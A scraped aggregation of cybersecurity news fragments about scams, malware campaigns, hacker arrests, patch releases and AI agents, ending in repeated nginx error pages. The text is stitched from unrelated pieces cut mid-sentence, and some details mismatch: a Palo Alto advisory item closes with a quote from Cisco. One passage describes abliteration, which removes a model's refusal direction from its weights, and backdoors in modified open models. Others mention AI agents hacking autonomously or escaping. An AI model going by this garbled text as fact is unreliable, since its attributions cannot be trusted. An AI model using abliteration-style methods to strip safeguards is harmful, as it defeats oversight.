April 2026 - Using a RAR archive that exploits a WinRAR flaw (CVE-2025-8088) to drop PickleShe…

This is email bombing.

What is email bombing?

Sometimes called “form bombing,” “list bombing” or “subscription bombing,” email bombing attacks usually follow the same pattern.

There’s no silver bullet to prevent email bombing.

Has my email account been hacked if it’s full of sign-up emails?

Open Enrollment is peak season for Medicare fraud – here’s how to tell real outreach from fakes and keep your details safeScammers love a pretext.

And with Medicare Open Enrollment, they have a perfect opportunity to exploit victim expectations, masking their fraud under the cover of legitimate activity.

Work through the following steps:Call or contact Medicare at Medicare.gov or 800-633-4227 to report the incident.

So slow down this Open Enrollment season and verify every request for personal and medical details.

Frequently Asked Questions (FAQs)When is Medicare Open Enrollment?

Data breach notifications are telling victims less than ever.

As the volume of data breach incidents increases, there’s a growing chance that you’ll be caught up in one.

Example of a data breach notice with a detailed explanation of the situation (for more, head over here)How do you interpret a breach notice?

For that reason, you should never click through on any unsolicited breach notification email or message.

Change your logins (if relevant) and consider credit monitoring and a credit freeze.

Later, in June 2026, ESET telemetry registered further MATCHBOIL samples, this time at a company in the energy sector.

MATCHBOIL then performs three HTTPS requests to the C&C server; each with a different purpose:The first request receives a numeric value from the C&C server.

2024 samplesThe earliest MATCHBOIL samples that we have seen have compilation timestamps from 2024.

]pro N/A 2025‑11‑10 MATCHBOIL C&C server hidden behind Cloudflare.

]com N/A 2025‑08‑12 MATCHBOIL C&C server hidden behind Cloudflare.

The platform also asks for the creator’s YouTube channel URL, which it uses to retrieve public information and generate a seemingly personalized experience.

How to stay safeIf you’re a social media influencer yourself, your Google account can be much more than “just” access to a YouTube channel.

Run Google’s Security Checkup, or open Security & sign-in in your Google account, and review recent security events and signed-in devices.

If you’re a YouTube creator yourself, you realize that your reputation ultimately defines your success.

A Google account can then sit at the center of your business: email, files, contacts, and the YouTube channel itself.

The cybersecurity market is often making it tougher for SMBs to keep threats at bayCybersecurity has never been easy.

SMBs are very much in the crosshairs, as providers of critical infrastructure themselves or suppliers to firms operating in critical infrastructure.

Yet the identity of the adversary is arguably less important than the tactics they’re using to target global SMBs.

By offering teams AI assistance to improve productivity.

By offering teams AI assistance to improve productivity.

Autonomous AI agents go on a hacking spree, and Microsoft ships what used to be a year's worth of security patches in one go – here's how to keep paceAs another month draws to a close, ESET Chief Security Evangelist Tony Anscombe reviews some of the top cybersecurity stories that have made the news over the past 30 days while offering insights that they hold for your or your company's cyber-defenses.

Here's Tony's rundown of some of what stood out most in September 2026.

An OpenAI agent has broken into Australia's national healthcare database in what is the first known case of AI autonomously hacking a government network,Earlier in the month, Google announced that its models also escaped it…

If an exit company cold calls you or makes 100% guaranteed promises of a swift exit, they’re likely to be a scammer.

If you’ve already paid a scam timeshare exit company, there’s still a chance you could get your money back if you act quickly.

What are the warning signs of a timeshare exit scam?

How can I check whether a timeshare exit company is legitimate?

What should I do if I've already paid a timeshare exit scam company?

Some techniques go after live sessions themselves, with attackers shifting their focus from stealing passwords to stealing authentication tokens.

Purpose-built AI tools now make it trivial to clean up the language and even tailor the lure for each recipient.

What’s more, the code is scanned on a phone, so the usual controls that protect company-issued laptops don’t apply.

The ‘device hop’ also means that the company may have a hard time developing a full picture of the attack.

AI helps deal with the volume and speed involved, whereas experienced analysts can assess the evidence and direct the response.

Vibe coded apps may also be exposed to prompt injection.

What can go wrong with vibe coded apps?

With a badly coded app, the leak usually happens on the developer’s servers, so start with your account and credentials.

Frequently asked questions (FAQs)What does 'vibe coded' mean?

Are all vibe coded apps dangerous?

No real government agency, bank, or company will ever tell you to pay them via a Bitcoin ATM.

How do Bitcoin ATM scams work?

How do I stay safe from Bitcoin ATM scams?

What can I do straight after a Bitcoin ATM scam?

What should I do if I’ve fallen for a Bitcoin ATM scam?

Roblox itself is very clear: “There is no such thing as free Robux or subscription offers, tricks, or codes.”What there is, unfortunately, are a lot of scammers looking to trick you out of your personal information and logins with the promise of free Robux.

But it’s also about helping them understand there’s no such thing as ‘free’ Robux.

Frequently asked questions (FAQs)Is there a real free Robux generator?

Roblox says there is no legitimate way to get free Robux through generators, tricks or codes.

But these aren’t ‘free Robux generators.’How can I tell if a Robux offer is a scam?

Many have moved past chatbots and begun assigning work to AI agents in the hope of gaining an edge on their similarly resource-strapped competitors and levelling the playing field with larger companies.

Indeed, the ambitious adopters are deploying, or at least experimenting with, multi-agent ‘assembly lines,’ where one supervisor agent manages swarms of specialist agents and passes work between them.

Of course, some risks surrounding AI agents have familiar roots: an agent’s supply chains can be compromised and its permissions abused.

Agents can also suffer from agentic misalignment where they proceed doggedly even if it involves, for example, breaking into other companies.

For a company wi…

And it doesn’t get much darker than ‘nudification’ or ‘nudify’ apps.

Are ‘nudify’ apps illegal?

The short answer is “it depends.” In the US, there’s no federal law explicitly prohibiting ‘nudify’ apps.

Can I sue over an AI nude image?

Will reporting a fake nude image make it disappear everywhere?

A month later, we noticed that the group had started using the new SparroWocky backdoor, which then quickly replaced SparrowDoor as FamousSparrow’s main implant.

Based on our investigation, we attribute the latest campaign and the SparroWocky backdoor to FamousSparrow with high confidence, since in some of the first attacks involving this backdoor, SparroWocky was deployed by the FamousSparrow-exclusive SparrowDoor.

Backdoor commandsThe backdoor first establishes communication with its C&C server, then executes its core logic in an infinite loop, within which it processes received commands.

A common technique that the backdoor uses is dynamic API resolution via API hashing, but the backdoor…

Cadence Riddle, a cybersecurity researcher at Fortra, tracked a 12-fold increase in malicious emails mentioning “RFQ” (request for quotation) between October 2025 and September 2026.

A short request for availability or a promise to send project specifications can appear credible, especially when it is framed as a potential business opportunity.

Once the recipient responds however, the attacker typically introduces an external link designed to collect business credentials, MFA information, or session data,” Riddle explained.

Riddle believes these may include disposable domains, webmail accounts, compromised legitimate accounts and domains chosen to resemble existing companies.

The account ca…

Three weeks before Americans vote in the 2026 midterm election, fraudsters are borrowing candidate names, logos and slogans to collect fake donations and harvest personal data, the FBI warned.

Scammers use candidates’ identities to “fraudulently solicit campaign contributions, sell merchandise that is never delivered, or steal personally identifiable information (PII) that can be used for other fraud,” the FBI said.

“The realism makes these schemes harder for victims to detect and increases the likelihood of financial loss or exposure of PII,” the bureau explained.

Victims are also encouraged to recruit others to invest in the pool to increase their share of the payout,” the FBI wrote.

A te…

Arch Linux users who mistyped yay or paru while installing the package helpers from the Arch User Repository (AUR) may have given a stranger root access to their machine.

Yay and paru, known as AUR helpers, search the AUR for software and then build, install and update it on the user’s machine.

Andreas Reichel, who maintains packages on the AUR, ran one of the packages, named “yyay,” through a malware scanner and shared the results in the mailing list thread.

In late July, another wave of malware led Arch to suspend package adoption, and days later the project stopped all uploads to the AUR.

Arch Linux was also among the distributions affected by Dirty Frag, a pair of Linux kernel vulnerabi…

Google’s new scam protections cover Google Messages and third-party messaging apps, with an enhanced protection mode, expanded scam alerts and safeguards against call-forwarding and screen-sharing scams.

Scam alerts and link checksEnhanced protection in Google Messages will roll out in the coming weeks as an opt-in setting.

Google is working with Android device makers to expand Scam Detection in chat notifications beyond Pixel devices later this year.

Blocking data theft and spoofed callsAndroid is extending its screen-sharing protections from native apps to Chrome and Android WebView.

Working with participating banking apps, Android checks whether a bank actually initiated an incoming call.

David Fuhr, CTO at intcube, talks about a security cohort for public administration, where 27 municipalities hardened Windows Server and Active Directory together over 12 weeks.

The municipalities that signed up knew they needed to work on their server security, on their Active Directory.

Why do known AD weaknesses stay open for years in organizations with one or two admins?

How does a cohort work in practice?

When we got 27 applications for the first ever municipal IT security cohort, we split them into two groups.

The postings that remain have drifted toward governance, risk and compliance (GRC), the teams that track an organization’s risk and answer to auditors, regulators and boards.

Postings fell 26.4% from 320,210 in the same months of 2025.

When a CEO, CIO, CFO or other executive sponsor changes, security hiring can stall.

“Security roles need executive champions, decision-makers, and budget approval.

However, I’m leaning more toward broader C-suite instability as a significant contributor to the fluctuations we’re seeing.”“The demand for security leadership hasn’t necessarily disappeared.

A seller on a restricted criminal forum is marketing an autonomous hacking tool that runs on stolen OpenAI, Anthropic and Google API keys, so the key’s owner pays for the scans.

Over that window, mentions of AI agents, indirect prompt injection and the Model Context Protocol (MCP) rose 67 percent.

One panel, many stolen keysThe tool, MONST3R-AI, is sold as an autonomous penetration testing platform.

The buyer pastes stolen keys into a panel, sets a budget cap and points the agent at a target list.

Bitsight’s position is that even a small accurate share would make the tool effective, and it expects stolen keys to be sold purely to fuel scanners like this one.

More than 9.1 million DDoS attacks were recorded globally between January and June 2026, an increase of nearly a quarter year over year, according to Netscout’s DDoS Threat Intelligence Report.

IPv6 accounted for roughly the same share of observed attacks as a year earlier, but those attacks became more demanding.

(Source: Netscout)Direct-path attacks, which send traffic straight to a target, accounted for 64.4% of observed attacks.

Carpet-bombing attacks rose from 3.97% of observed attacks in the first half of 2025 to 4.54% in the first half of 2026.

Single-method attacks accounted for 52.27% of observed attacks.

Here’s a look at the most interesting products from the past week, featuring releases from NinjaOne, Qualys, Scytale, and SolarWinds.

Katana AI analyzes device telemetry, history, alerts, and activity to surface likely root causes and recommend next steps, including remediation actions and scripts, where technicians already work.

Scytale MCP gives AI tools scoped, read-only access to compliance dataScytale has announced the launch of Scytale MCP, a Model Context Protocol server that connects a customer’s AI tools directly to their compliance program.

With Scytale MCP, tools such as Claude and ChatGPT can query live compliance data and complete routine work through plain language instead of …

The fastfetch project removed QuickJS scripting and changed what its Disk, Command and Shell modules report in version 2.70.0, released October 14.

{size-free} now reports whichever of free or available space the disk.useAvailable option selects, so its value moves with that setting; before, it always reported the file system’s free size.

JSON output drops bytes.available and bytes.used, and you can derive used as total minus free.

Windows numbers changeVolumes with a per-user quota, such as network shares, reported a wrong total and a wrapped-around used size (issue #2651), because the total was quota-limited and the free size was not.

On Windows 10 build 17763 and later, fastfetch now rep…

ServiceNow has announced a new AI Passport solution and significant advances in AI governance to help ensure AI agents are production-ready by combining runtime governance, platform integration, and comprehensive oversight, all inside ServiceNow’s operational AI harness.

Specifically, AI Passport is a new authority layer that gives enterprises runtime control over what AI agents and Model Context Protocol (MCP) servers are authorized to do at every point in a multi-agent workflow.

Enterprises need confidence that every AI agent is operating within its authorized scope,” said Jon Sigler, EVP and GM, AI Platform at ServiceNow.

Unlike audit trails, which show what happened after the fact, AI P…

The malware, called KGB RAT, was analyzed by Group-IB malware analysts Alpomish Asadov and Razvan Raducu, who found that it is built on NjRAT, a well-known remote access trojan used by attackers of varying skill.

KGB RAT first showed up in public security reporting in September 2025, when a breach alert flagged it as a newly observed threat.

The KGB RAT developers went to great lengths to present the tool as legitimate software, Group-IB says.

KGB RAT also comes with ransomware, which in Group-IB’s view lets attackers go from getting into a computer to extortion without installing anything else.

“KGB RAT illustrates how established malware remains operationally relevant through accessible p…

These checks help attackers gain users’ trust, filter visitors, and conceal malicious content from automated security tools.

The link opens a CAPTCHA page that presents verification as a requirement for accessing the content.

Other campaigns trigger malware downloads or ask users to enable browser notifications, allowing attackers to send further malicious content.

Tricking users into running commandsFake CAPTCHA pages also feature in ClickFix attacks, which persuade people to execute malicious commands under the guise of completing verification or fixing a problem.

Using familiar brands to build trustAI and no-code development tools help attackers create CAPTCHA pages, login screens, and p…

About CVE-2026-0322CVE-2026-0322 is a flaw in the management interface of Palo Alto Networks PAN-OS that allows an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.

The flaw has a CVSS score of 8.6, and Palo Alto Networks has marked its urgency as highest.

“Very limited exploitation has been observed targeting the Palo Alto Networks management interface,” the company says.

The flaw was discovered internally by Palo Alto Networks’ Suraj Siddharudh.

“There are no workarounds that address this vulnerability,” Cisco said.

New research shows that squid lived all around the globe even before the Cretaceous-Paleogene mass extinction event.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Blog moderation policy.

This is a problem:

Any open model whose weights have been edited can carry a backdoor, whether it’s a task-specific fine-tune, a merged adapter or an abliterated build. We have abliterated models in the title because it’s the most popular reason people download modified weights without verifying what’s inside. Abliteration is a cheap fine-tune that takes away a model’s ability to refuse. You find the direction in the weights that carries “no” and subtract it. The model then answers things a safety-tuned version would turn down. It began as a research trick and it’s now routine before people upload a model to Hugging Face, where you’ll find abliterated builds of most of the popular open weig…

Matthew Green has a new site that tries to estimate the number of cryptanalyst-hours that have been spent analyzing different public-key algorithms:

Abstract: We estimate how much public cryptanalysis each public-key assumption has received, using the literature itself as the instrument. From roughly sixteen thousand candidate papers we classify cryptanalytic work on ECDLP, structured and plain lattices, syndrome decoding and their comparators, then convert papers into estimated research-allocation years through a person-level author map. These publication-based estimates may substantially overstate actual time spent. Lattices have overtaken elliptic curves in this cumulative measure only r…

This is a current list of where and when I am scheduled to speak: I’m speaking at ATTENTION: Democracy, Rebuilt in Montreal, Canada. The event runs October 21–23, 2026, and my talk is on Wednesday, October 21.

I’m speaking at the University of Toronto in Toronto, Ontario, Canada, at 5 PM ET on October 22, 2026.

I’m speaking at [un]prompted in San Francisco, California. The event runs October 27–29, 2026, and my talk is at 11:35 AM PT on Thursday, October 29.

I’m speaking at the Catalyst Summit in Brampton, Ontario, Canada, on Wednesday, November 18, 2026...

Matthew Green has been writing a rather pessimistic series of posts about the potential for AI systems to vastly outperform humans in cryptanalysis of both symmetric and public-key ciphers.

I am more optimistic than he is. That is, I have stronger faith in the over-engineering cryptographers tend to do. I am trying to write this up in more detail.

Another IoT cyberattack, this one in France:

Hackers gained control of the software that regulates the temperatures of the refrigeration units, forcing some to warm to 50C (120F) overnight, according to one supermarket chain affected.

[…]

Normally, supermarket freezers go through a short period of defrosting overnight, in which temperatures rise slightly. But the hackers ordered the units to heat up and stay hot, although Danfoss did not confirm any reports about just how warm the fridges and freezers could become in that process.

Danfoss said the affected cold units were older models whose security software could not be updated to ward off a risk they had identified...

In September, hackers from a group called ShinyHunters announced that they stole a trove of FBI data about its own agents. It was an intelligence disaster.

Last week, the FBI arrested (alternate link) someone associated with that crime.

On Wednesday I spent a day fishing, on a small boat out of Gloucester, MA. We caught many cod (none of which we could keep), and a bunch of hake and mackerel (all of which we could keep). And…I caught a squid! Near as I can tell, it’s a longfin squid, sometimes called a Boston squid (Doryteuthis (Amerigo) pealeii).

That night I cooked it over a barbecue grill—hot and fast. Delicious.

This essay was written with Seva Gunitsky, and originally appeared in Foreign Affairs.

Two weeks after Moscow’s full-scale invasion of Ukraine in March 2022, the Russian TV Channel One editor Marina Ovsyannikova burst onto the set of the evening newscast. She held up a hand-drawn sign behind the anchor’s head that read: “Stop the war. Don’t believe propaganda. They’re lying to you!” She shouted, “No to war!” until she was dragged away.

No one has protested the war on Russian television since then, partly as a result of tighter security and a general climate of fear. But in October 2024, Margarita Simonyan, one of Russia’s chief propagandists, gave another explanation. A growing number of th…

Apple just released a system called “Reference Image.” It can verify the image is exactly as taken by an iPhone—new models only—without tying it to a specific iPhone or photographer. It can also verify that multiple images came from the same iPhone.

Other industry solutions require a photographer or institution to vouch for an image using their own credentials. We are concerned this puts some photographers, such as those operating in conflict zones, in a difficult position; it should not be necessary to forgo anonymity in order to prove image authenticity. We built Apple Reference Image to avoid using an explicit, public credential for photographers, and to avoid even implicit public associ…

404Media is reporting (alternate link) that a cyber-weapons arms manufacturer is exploiting a vulnerability in iOS to bypass its automatic reboot security feature. This is the feature that automatically puts an iPhone into a more secure state if it hasn’t been used for 72 hours.

The new technology to get around inactivity reboot was developed by Magnet Forensics, the company behind GrayKey, a popular tool sold to law enforcement agencies that allows them to unlock and access data stored in iPhones and Android smartphones. Magnet has developed a new device called GrayKey Preserve and a feature for its regular GrayKey devices called Evidence Preservation Mode, according to the video...

This one is from 1809, written by Napoleon’s nephew.

The EU is recommending import controls to combat unregulated squid fishing in the Southwest Atlantic. I’m not optimistic.

As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.

Blog moderation policy.

St. Lucie County in Florida discovered (alt link) a dozen Flock cameras whose ownership it can’t identify, and that the county government had not permitted.

I am reminded of the decade-old story of StingRay cell phone surveillance devices in Washington, DC, whose operators were also unknown.

My guess is that in the StingRay case, the devices were operated by foreign actors. This Flock case is more likely some local government entity that didn’t bother getting approval. Were I a foreign actor, I would rather hack the existing Flock network—like Israel ...

This essay was written with Nathan E. Sanders, and originally appeared in The Guardian.

New campaign finance disclosure data shines a light on which US political campaigns are using AI tools and how much they are spending on them.

Candidates’, parties’ and committees’ spending reveals that AI is fast becoming an essential tool of politics. The candidates themselves are quiet about how they are using the technology in their own campaigns. It’s a sensitive issue that we have been tracking closely since we started writing our book, Rewiring Democracy...

The sanctions freeze any Cryptomus assets at U.K. banks, and bar British companies from offering it any business, virtual or otherwise.

The blockchain data-crunching firm Chainalysis said the U.K. sanctions target the broader infrastructure supporting Russia’s wartime economy.

“Cryptomus and Heleket have emerged as major payment hubs for illicit activity,” Chainalysis wrote in an October 8 blog post.

Sanders said the U.K. sanctions on Cryptomus are important because Canada’s sanctions against the platform were ultimately unenforceable and uncollectible.

“A fine doesn’t stop a cryptocurrency payment processor from processing payments,” Sanders wrote on LinkedIn.

Microsoft today issued updates to fix more than 1,400 security vulnerabilities in its Windows operating systems and other software.

CVE-2026-96951 is a security feature bypass in the Windows Shell that affects Windows 10 and 11 systems, as well as some Server versions.

Windows 10 users might be wondering if they can still expect security updates after this month.

Microsoft had been slated to stop shipping updates for Windows 10 systems in October 2025, but ended up adding another year of free updates after considerable pushback.

Satnam Narang at Tenable said the number of flaws fixed this month far surpasses the previous record-setting year 2020, when Microsoft patched 1,261 CVEs.

The New York Times reported today that the FBI has arrested a Canadian man in Pennsylvania on suspicion of assisting ShinyHunters.

The Times story did not identify the man, nor did a statement on Twitter/X about the arrest from FBI Director Kash Patel.

Another shared that control over the ShinyHunters investigation has been centralized at an FBI field office in Texas.

According to LinkedIn, Cypher was co-founded by a Canadian man named Edward Dubrovsky, who is now associated with another Canadian security firm called CyberSteward.

According to the FBI, the group has extorted more than $70 million from victims so far this year.

The Dutch daily RTL reported on Sept. 29 that investigators suspect Van der Stap tried to orchestrate at least two murders.

According to RTL, the murders were allegedly to be committed abroad, and there are indications Van der Stap gave the order for these attacks.

In an interview with KrebsOnSecurity on September 9, Van der Stap described his new role as “offensive security lead” at the Dutch cybersecurity company Neo Security, saying the job involved probing client networks for security vulnerabilities.

Korper said Dutch forensic investigators visited his office on September 15, the night Van der ⁠Stap was arrested in a dramatic police raid that reportedly involved flash bang grenades.

“Y…

Authorities in the Netherlands have arrested a 23-year-old convicted cybercriminal on suspicion of aiding in data thefts and extortions by the prolific hacker group ShinyHunters.

Van der Stap is currently employed as offensive security lead at the Dutch company Neo Security, which did not respond to requests for comment.

But not long after that interview, the Dutch hacker abruptly stopped replying to messages.

One source said a colleague of theirs personally witnessed Dutch authorities carting items out of Van der Stap’s residence.

Speaking with reporters from Bloomberg in 2024, Van der Stap said that singular focus in turn fueled his desire to carry out cyberattacks.

A U.S. Army soldier who pleaded guilty to hacking into multiple telecommunications companies and stealing mobile call and text metadata for more than 100 million AT&T customers in 2024 was sentenced to 70 months in federal prison today and ordered to pay nearly $300,000 in restitution to victims.

Kiberphant0m claimed to have hacked into more than dozen telecommunications companies worldwide, including Verizon’s Push-to-Talk business, and publicly extorted these companies in exchange for a promise not to publish the stolen data.

Less than a month later, Wagenius was arrested and charged in two separate federal indictments, and soon pleaded guilty to all counts in both cases.

In 2019, Schuchm…

In February 2024, Radaris was sued by Atlas Data Privacy Corp, a company that has been pursuing data brokers alleged to be violating a New Jersey statute called Daniel’s Law.

KrebsOnSecurity doubled down and showed how the Lubarsky brothers built and operated Radaris and other data broker companies using a fictitious CEO’s name.

All told, the New Jersey court has so far transferred 14 domain names from the Radaris family of companies to Atlas.

Sherman said federal lawmakers have long faced intense lobbying by the technology industry against more restrictive U.S. data privacy laws, but that many powerful industries are now working against passing comprehensive data privacy legislation.

The l…

Microsoft Corp. today issued updates to plug at least 974 security holes in its Windows operating systems and other software, by far its biggest single patch batch ever.

This month’s patch bundle obliterates the software giant’s previous record set in July, when it released updates for at least 570 security vulnerabilities.

Among the more serious critical flaws this month is CVE-2026-69730, a DNS weakness present in Windows Server 2012 onward and on Windows 10.

And at the rate these Windows patch releases are ballooning in size, it’s probably best not to let them pile up month after month.

Enterprise Windows admins will want to keep an eye on askwoody.com for news of any updates that appear…

A new identity theft service launched on the dark web this week is selling digital scans of more than 153 million drivers licenses from people in the United States and Canada.

Curiously, the identity records include not only drivers licenses but also marijuana dispensary cards.

Some of the records list their “source” as “CDL,” presumably short for “commercial drivers license.

Also, only some of those who helped with this research said they showed their drivers license at the airport on the day of their travel.

Baldwin said the Nexus identity theft service presents multiple serious security and privacy threats, noting that state-issued drivers licenses are commonly used as proof of one’s ide…

The malware allows TeamPCP’s hackers to steal credentials that let them publish malicious versions of those software development tools, too.

“TeamPCP has stated the competition is a recruiting opportunity and they intend to purchase all meaningful access harvested from participants’ campaigns,” the security firm Dataminr wrote.

Deadcatx3, a nickname that has been flagged by multiple security firms as an alias used by TeamPCP.

Charlie Eriksen is a security researcher at Aikido Security who has closely followed TeamPCP’s cybercrime campaigns.

“They managed to wake up Microsoft to the fact that they had become negligent in terms of security,” Eriksen said.

It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day.

Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you.

“It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said.

DecryptAds reports that Between Digital is collecting ad data on approximately 55,000 partner websites.

Bear in mind that ad blockers often do little to block ads and/or tracking that occurs from within mobile apps that users have chosen to instal…

Microsoft today released updates to remedy at least 398 security vulnerabilities in its Windows operating systems and supported software, including one weakness that is already being actively exploited and two others that were publicly detailed prior to today.

August’s overstuffed bundle of patch joy from Microsoft did not eclipse its recording breaking release of more than 570 security updates last month, but it is double June’s then-record batch of nearly 200 fixes.

The other publicly disclosed flaw is CVE-2026-72971, a low-impact local tampering vulnerability that Microsoft reckons is unlikely to be exploited.

By all accounts, AI is quite good at finding security holes in software.

“Don’…

Snowflake responded to the data thefts by increasing password complexity requirements and enforcing multi-factor authentication.

A little more than a month later, Canadian authorities arrested Moucka on a provisional warrant from the United States.

“Moucka used the stolen data of a government officer and members of a then-former government officer’s immediate family in this re-extortion attempt,” reads a statement from the Justice Department.

Moucka pleaded guilty to four criminal counts, including computer fraud, wire fraud, aggravated identity theft, and conspiracy.

Ultimately, it will be up the federal judge how much time Moucka actually serves for his extensive cybercriminal rap sheet.

Further investigation into the Fengwo Group revealed it has registered multiple patents that match the inner workings of these apps.

AD FRAUDBitsight found the H96 devices were either relaying residential proxy traffic or participating in ad fraud, but never both at the same time.

When the TV is off, it switches back to waiting for ad fraud jobs.

In addition to enlisting the user’s TV box in ad fraud networks, these off-brand streaming devices almost universally come with residential proxy software pre-installed.

In January, the proxy tracking service Synthient documented how multiple botnets had rapidly enslaved millions of TV boxes using a complex interplay of security vulnerabilities in …

The home appliance giant LG Electronics USA said this week it plans to suspend any apps built for its smart TVs that turn one’s television into an always-on residential proxy node.

On July 2, we featured research by the security firm Spur that examined the prevalence of residential proxy software development kits (SDKs) in smart TV apps.

“A residential proxy network is not an intended use for LG smart TVs, and LG Electronics is working with developers to remove the residential proxy option from their apps on the webOS platform,” Taylor said.

In the case of LG and Samsung smart TVs, Spur found residential proxy SDKs bundled with everything from simple games like Pac-Man to screensavers and f…

Krybit is a fast-growing ransomware gang that was hacked by a rival, hit back, and is still extorting victims. Find out how it works, who it has targeted, and what organisations can do to protect themselves. Read more in my article on the Fortra blog.

How a ransomware negotiator ended up arrested at his own conference, with Graham Cluley and special guest Paul Ducklin.

I don't know if you know that.

And then I became a freelancer and then I thought, oh boy, I'm going to open the doors to everybody.

And he is the Canadian co-founder of a ransomware negotiator firm called— I don't know how to pronounce this.

There's no breach so unimportant that you can just say, don't worry folks, carry on, nothing to see here.

The hacker behind a high-profile string of leaks involving the upcoming release of the Grand Theft Auto (GTA) 6 videogame has threatened to release a complete, playable build.

CyberLeek says that if the GTA 6 game is released on physical disk, and a public apology is made, it will step back from its threats.

As ever, videogame fans should be very wary of believing anybody who offers a download of a supposedly leaked game.

Besides which, the real, genuine GTA 6 is due to be released on video game platforms on 19 November.

It is not worth infecting your computer, or losing money on a dodgy crypto coin, just to see it a few weeks early.

Zhang is charged alongside 34-year-old Xu Zewei with malicious cyber activity against US computer systems between February 2020 and June 2021.

The following the year the pair allegedly exploited vulnerabilities in Microsoft Exchange Server to steal further information.

Furthermore, if findings by security firm SentinelOne are to be believed, Zhang's Shanghai Firetech filed multiple software patents about extract data from computers.

Xu, for instance, was arrested at Milan airport in July 2025 and extradited to the United States in April this year.

China's Foreign Ministry opposed Xu's extradition, accusing the United States of fabricating charges against him.

But do you actually know whether both of them can do the job?

Now, I don't know how good a swimmer you are, Danny.

I don't know about you, but I'm having 3 or 4 calls a day from an unknown number.

And I would imagine a company like Hack The Box has got great visibility as to what is actually going on out there.

And so I think that's the unique part here is it truly does have a pressure-tested element to it.

N0n is a newly-emerged cyber extortion gang. The group was first spotted in the middle of September 2026, and within days it had published on its dark web leak site details of what it claimed to be around a dozen victims. Since then, the tally has continued to grow. Read more in my article on the Fortra blog.

The FBI has a very simple message for the ShinyHunters gang: give yourselves up.

The FBI describes the man arrested in Amsterdam as "one of the alleged leaders of ShinyHunters", although Dutch police say only that he played a role.

The warning to remaining members of ShinyHunters follows particularly embarrassing episode for the FBI, which recently confirmed it had had its job application portal compromised by the gang.

According to ShinyHunters, it gained access to the FBI's data by exploiting a recently-patched flaw (CVE-2026-35273) in Oracle PeopleSoft PeopleTools.

The truth is that the arrest came a week or so before the compromise of the FBI became headline news.

An alleged key figure in the ShinyHunters cybercrime group has been arrested in the Netherlands, and - in a grotesque turn - the 24-year-old suspect is also being investigated for attempting to arrange two murders.

Although the authorities are declining to name the individual, celebrated cybersecurity blogger Brian Krebs has identified him as Pepijn van der Stap, a convicted hacker.

Van der Stap was released from prison in December last year, and has since been working as a penetration tester at Amsterdam-based Neo Security.

Notably, Van der Stap appears to claim on his personal website that he is a reformed character.

That hasn't stopped FBI Director Kash Patel from describing the arrested…

The unencrypted files contained Social Security numbers, names, birth dates, contact details, and other military personnel data including - in some cases - details of the jobs individuals held.

Breaches like this matter because the combination of Social Security numbers, names, and dates of birth make up the bread and butter of any self-respecting fraudster.

Personnel data, of course, has also been a target before.

The news of the Pentagon's latest data breach comes as the FBI warns its own employees about a separate breach of its FBIJobs.gov portal.

The ShinyHunters hacking group has claimed credit for the hack and threatened to publish staff details including... you guessed it... Social S…

A court in Zurich has sentenced a Ukrainian man to 12 years and nine months in prison, and banned him from Switzerland for ten years, for developing ransomware that blackmailed companies around the world.

The 52-year-old man, who according to local media reports had been living in the Basel-Landschaft region but has not been named, found by the court to be the lead developer of the LockerGoga, MegaCortex, and Nefilim families of ransomware.

In all, prosecutors claimed that some 100 million Swiss Francs (US $123 million) worth of damage was caused by the ransomware attacks.

Ukrainian national Tymoshchuk allegedly released new strains of his ransomware whenever old ones had been decrypted.

In…

Smashing Security, episode 486, Vibe-Coded Shops and Hackable Flock Cameras, with Graham Cluley and special guest Dave Bittner.

I will say I did not go gaga for La La the way many other people did.

Anyway, if any of you are still listening, I love La La Land.

This La La Land lunatic has watched the movie with his pause button.

This was definitely not created — if you haven't seen La La Land, go watch La La Land for goodness' sake.

An oil tanker bound for Texas was boarded mid-voyage by the US Coast Guard and FBI last month, after its network may have been compromised by malicious hackers.

The VL Prosperity - a Liberian-flagged supertanker carrying roughly 2.3 million barrels of crude oil - apparently suffered a cyber attack while en route from Egypt's Sidi Kerir oil terminal to Galveston, Texas.

Two weeks later, a specialised team from the FBI and US Coast Guard boarded the vessel for four days, investigating the problem and helping the crew eradicate the threat from its IT and OT systems.

According to the US Coast Guard, the supertanker was boarded after indications that the network "may have been compromised by a f…

That's really, really cool.

And I'm going to be getting really, really sozzled by looking at the security of LG smart TVs.

So it's really, really compelling.

When we started off on the journey of building this AI pen testing approach, there was a lot of scepticism.

And listeners, you can learn more about Intruder or even start your own AI pen test in minutes.

44-year-old Kenneth Carter from Portland, Oregon, used to work in an AT&T retail store.

According to Carter's own plea agreement, the scam ran from May 2018 to November 2019 and involved at least three co-conspirators alongside Carter.

Carter would use his privileged store access to move a victim's number onto a SIM card under the control of himself or an accomplice.

In one incident in May 2018, described in Carter's plea agreement, the store employee swapped a victim's number onto an Alcatel handset while working his shift in Portland.

In December 2018, Carter successfully hijacked the number of a victim known as "S.Q.T" in Portland, and this time their account was successfully drained of …

If you're going to steal a quarter of a billion dollars worth of cryptocurrency, maybe don't broadcast on a group chat every time you buy a Lamborghini, or blow half a million dollars on a single night out at a nightclub.

Because it might just be that you draw the attention of the authorities.

Back in October 2024, we wrote about how he was arrested after allegedly tricking a single victim out of US $230 million worth of Bitcoin while posing as Google Support.

The party days are over now for Lam, who faces up to 20 years in prison when he is eventually sentenced.

You money may be a lot more safely stored in a hardware cold wallet.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 65c81bea022dea0314bb3ec1fb8b3228Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-15T14:00:29+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: bf1172655ea8738416272c1b910c4a23Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-14T17:00:37+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 8c474b40de23335e23a81b4f71096fa2Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-13T18:00:32+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

